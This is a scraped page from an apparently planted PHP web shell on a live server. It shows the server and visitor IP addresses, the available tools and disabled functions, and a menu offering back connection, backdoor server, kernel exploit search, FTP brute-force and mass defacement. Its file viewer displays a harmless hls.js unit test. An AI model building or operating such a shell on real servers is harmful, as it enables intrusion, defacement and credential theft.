IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ http/ root/ hls/ tests/ unit/ controller/ - drwxr-xr-x |
Viewing file:
Select action/file-type: import AbrController from '../../../src/controller/abr-controller'; import EwmaBandWidthEstimator from '../../../src/utils/ewma-bandwidth-estimator'; import Hls from '../../../src/hls'; describe('AbrController', function () { it('should return null if _bwEstimator is not specified', function () { let hls = new Hls(); expect(hls.abrController._bwEstimator).to.be.null; }); it('should return correct next auto level', function () { let hls = new Hls({ maxStarvationDelay: 4 }); hls.levelController._levels = [ { bitrate: 105000, name: '144', details: { totalduration: 4, fragments: [{}] } }, { bitrate: 246440, name: '240', details: { totalduration: 10, fragments: [ {} ] } }, { bitrate: 460560, name: '380', details: { totalduration: 10, fragments: [ {} ] } }, { bitrate: 836280, name: '480', details: { totalduration: 10, fragments: [ {} ] } }, { bitrate: 2149280, name: '720', details: { totalduration: 10, fragments: [ {} ] } }, { bitrate: 6221600, name: '1080', details: { totalduration: 10, fragments: [ {} ] } } ]; let abrController = new AbrController(hls); abrController.bwEstimator = new EwmaBandWidthEstimator(hls, 15, 4, 5e5); expect(abrController.nextAutoLevel).to.equal(0); }); }); |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |